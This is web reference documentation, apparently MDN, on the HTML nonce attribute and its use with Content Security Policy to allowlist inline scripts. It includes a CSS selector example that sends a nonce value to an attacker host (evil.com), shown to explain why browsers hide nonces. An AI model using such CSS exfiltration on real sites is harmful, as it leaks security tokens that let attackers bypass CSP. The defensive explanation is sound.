nonce
The nonce
global attribute
is a content attribute defining a cryptographic nonce ("number used once") which can be used by
Content Security Policy to determine whether or not a given fetch will
be allowed to proceed for a given element.
Description
The nonce
attribute is useful to allowlist specific elements, such as a particular inline script or style elements.
It can help you to avoid using the CSP unsafe-inline
directive, which would allowlist all inline scripts or styles.
Note: Only use nonce
for cases where you have no way around using unsafe inline script
or style contents. If you don't need nonce
, don't use it. If your script is static, you could also use a CSP hash instead.
(See usage notes on unsafe inline script.)
Always try to take full advantage of CSP protections and avoid nonces or unsafe inline scripts whenever possible.
Using nonce to allowlist a <script> element
There are a few steps involved to allowlist an inline script using the nonce mechanism:
Generating values
From your web server, generate a random base64-encoded string of at least 128 bits of data from a cryptographically secure random number generator. Nonces should be generated differently each time the page loads (nonce only once!). For example, in nodejs:
js
const crypto = require("crypto");
crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='
Allowlisting inline script
The nonce generated on your backend code should now be used for the inline script that you'd like to allowlist:
html
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
// …
</script>
Sending a nonce with a CSP header
Finally, you'll need to send the nonce value in a
Content-Security-Policy
header
(prepend nonce-
):
http
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='
Accessing nonces and nonce hiding
For security reasons, the nonce
content attribute is hidden (an empty string will be returned).
js
script.getAttribute("nonce"); // returns empty string
The nonce
property is the only way to access nonces:
js
script.nonce; // returns nonce value
Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this:
css
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
Specifications
Specification |
---|
HTML Standard # attr-nonce |
Browser compatibility
BCD tables only load in the browser